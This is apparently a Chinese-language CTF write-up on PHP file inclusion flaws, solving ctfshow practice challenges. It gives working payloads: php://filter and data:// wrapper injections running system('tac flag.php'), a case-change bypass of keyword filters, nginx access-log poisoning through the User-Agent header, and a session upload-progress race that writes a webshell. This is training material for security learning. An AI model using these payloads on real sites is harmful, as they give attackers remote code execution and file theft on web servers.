Web-文件包含
文件包含
文件包含是一些文件包含函数产生的漏洞,如include,包含的是服务器的文件。其中include函数的特性,如果包含的文件是php,jsp等可执行的文件(png,jpg等不可执行)的话,会对文件进行解析,即执行一遍文件里的代码。
一般可以使用php伪协议读取相关文件内容。
PHP伪协议
其中,
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
php://协议:不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
- php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
- php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。php://filter在双off的情况下也可以正常使用
- php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
- **data://**协议必须双在on才能正常使用;
以下题目均来自于ctfshow web入门练习题文件包含部分。
例题1、
1 | if(isset($_GET['file'])){ |
没做任何限制,直接使用伪协议读取即可。
可以用filter():
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
也可以用data:
1 | ?file=data://text/plain,<?php system("tac flag.php")?> |
这里其实也可以用file读取,
1 | ?file=file:///var/www/html/flag.php |
但是读取成功后因为php不渲染所以不显示。
如果是用渲染的就可以用file读取了:
1 | $file = $_GET['file']; |
例题2、
1 | if(isset($_GET['file'])){ |
第二题过滤了php,可以使用data协议+base64编码的形式读取或者使用php短标签。
1 | ?file=data://text/plain,<?= system("tac flag.php")?> |
例题3、
1 | if(isset($_GET['file'])){ |
第三题过滤了php和data,
因为linux系统是区分大写写的,可以使用大写pHp绕过(有时候不行)
使用php://input:(这里如果是谷歌的hackbar,需要把mode改成Raw格式,不然没有回显)
1 | ?file=pHp://input |
解法二:
可以用日志包含
1 | 日志文件位置 |
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
利用步骤:先抓包,将User-Agent改成,再向其中传值,得到目录结构
1 | ?file=/var/log/nginx/access.log |
例题4、
1 | if(isset($_GET['file'])){ |
过滤了.,因此日志包含access.log也不能用了。
PHP里面唯一我们能控制的没有后缀的文件就是session文件,利用到PHP_SESSION_UPLOAD_PROGRESS来初始化session,并且会把上传文件的信息记录在session文件中,待上传文件结束后清除存储上传文件信息session文件,达到文件包含的目的。
当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中(session.upload_progress文件包含漏洞)。
使用php脚本:
1 | import io |
运行脚本并成功写入后即可访问木马。
访问1.php,burp修改为post请求,并加入
1 | a=system("ls"); |